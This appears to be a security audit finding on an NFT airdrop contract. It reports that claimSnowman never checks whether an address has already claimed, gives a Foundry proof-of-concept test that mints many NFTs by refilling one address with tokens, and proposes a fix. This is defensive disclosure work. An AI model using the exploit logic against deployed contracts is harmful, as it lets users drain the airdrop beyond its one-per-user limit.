Summary
A missing validation check in the SnowmanAirdrop:claimSnowman
function allows users to repeatedly claim NFTs violating the intended "one-claim-per-user" logic. This is possible by transferring eligible tokens between addresses (receipient and holding address) to circumvent the behaviour of the claimSnowman
which drains a claiming account of Snow Tokens.
Description
The SnowmanAirdrop:claimSnowman
function is designed to allow a user to claim a Snowman NFT once if they hold a balance of snow tokens. However, the function does not check whether the user has already claimed an NFT using the s_hasClaimedSnowman
mapping, despite setting this flag as "true" after a successful claim.
To make sure their claim is valid, they must maintain the same amount of tokens in their recipient address at the time the Merkle tree was created. Due to the claimSnowman
functions behaviour which transfers a users/claimers entire token balance into the SnowmanAirdrop
contract, to circumvent this, a user can
hold other snow tokens in another address
after each claim, transfer the required snow tokens into the claiming address account and obtain another NFT.
Affected Areas
The vulnerable function is shown below:
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
revert SA__InvalidSignature();
}
uint256 amount = i_snow.balanceOf(receiver);
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
i_snow.safeTransferFrom(receiver, address(this), amount);
s_hasClaimedSnowman[receiver] = true;
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount);
}
Impact
This issue has:
-
Impact: High - this breaks the protocol in terms of 1-claim-per-user. Furthermore, the logic seems to be attempted to be implemented but has been done so incorrectly. This flawed function allows users to obtain more than 1 snowman NFT.
-
Likelihood: Medium - the only requirement to exploit this is a financial investment in order to buy snow tokens. Once the initial investment has been made, the exploitation is straight-forward.
Proof of Concept
To prove the validity of this issue, I have created the below PoC
Description
Alice identifies the SnowmanAirdrop
contract does not check if the receiver has already claimed a Snowman NFT.
She identifies that any tokens she holds will be transferred into the SnowmanAirdrop
contract therefore she sets up a new address and buys 10 snow tokens.
With a token balance of 1, her first NFT is claimed and the token balance is transferred into the SnowmanAirdrop
contract.
She then transfers a token from her new address into her main address where she claims another Snowman NFT
The process is repeated until she has 10 snow tokens.
Code
Run with: forge test --mt testUnimplementedClaimGetMultipleNFTs -vvv
pragma solidity ^0.8.24;
import {Test, console2} from "forge-std/Test.sol";
import {Snow} from "src/Snow.sol";
import {Snowman} from "src/Snowman.sol";
import {SnowmanAirdrop} from "src/SnowmanAirdrop.sol";
import {MockWETH} from "src/mock/MockWETH.sol";
import {Helper} from "script/Helper.s.sol";
contract TestSnowmanAirdrop is Test {
Snow snow;
Snowman nft;
SnowmanAirdrop airdrop;
MockWETH weth;
Helper deployer;
bytes32 public ROOT = 0xc0b6787abae0a5066bc2d09eaec944c58119dc18be796e93de5b2bf9f80ea79a;
bytes32 alProofA = 0xf99782cec890699d4947528f9884acaca174602bb028a66d0870534acf241c52;
bytes32 alProofB = 0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af;
bytes32 alProofC = 0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1;
bytes32[] AL_PROOF = [alProofA, alProofB, alProofC];
address alice;
uint256 alKey;
address aliceOtherAddress = makeAddr("aliceOtherAddress");
address satoshi;
function setUp() public {
deployer = new Helper();
(airdrop, snow, nft, weth) = deployer.run();
(alice, alKey) = makeAddrAndKey("alice");
satoshi = makeAddr("gas_payer");
vm.deal(aliceOtherAddress, 100 ether);
}
function testUnimplementedClaimGetMultipleNFTs() public {
assert(snow.balanceOf(alice) == 1);
assert(nft.balanceOf(alice) == 0);
vm.startPrank(aliceOtherAddress);
uint256 fee = snow.s_buyFee();
uint256 amountToBuy = 10;
snow.buySnow{value: amountToBuy * fee}(amountToBuy);
assertEq(snow.balanceOf(aliceOtherAddress), amountToBuy);
vm.stopPrank();
vm.prank(alice);
snow.approve(address(airdrop), 1);
bytes32 alDigest = airdrop.getMessageHash(alice);
(uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, alDigest);
vm.prank(satoshi);
airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
while (snow.balanceOf(aliceOtherAddress) != 0) {
vm.prank(aliceOtherAddress);
snow.transfer(alice, 1);
vm.prank(alice);
snow.approve(address(airdrop), 1);
vm.prank(satoshi);
airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
}
console2.log("Alice's Snow token balance: ", snow.balanceOf(aliceOtherAddress));
console2.log("NFTs Alice Owns: ", nft.balanceOf(alice));
}
}
Mitigation
The recommended mitigation for this issue is to enforce a check on the s_hasClaimedSnowman
mapping each time the function is called.
This can be implemented like-so:
/// >>> ERRORS
error SA__InvalidSignature(); // Thrown when the provided ECDSA signature is invalid
error SA__ZeroAddress();
error SA__ZeroAmount();
+ error SA_NFTAlreadyClaimed();
//Check `s_hasClaimedSnowman` with custom error
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
+ if(s_hasClaimedSnowman[receiver]){
+ revert SA_NFTAlreadyClaimed();
}
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
revert SA__InvalidSignature();
}
uint256 amount = i_snow.balanceOf(receiver);
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount)))); // -> merle validation starts now
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
i_snow.safeTransferFrom(receiver, address(this), amount); // send tokens to contract... akin to burning
s_hasClaimedSnowman[receiver] = true;
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount); //minting the snowman
}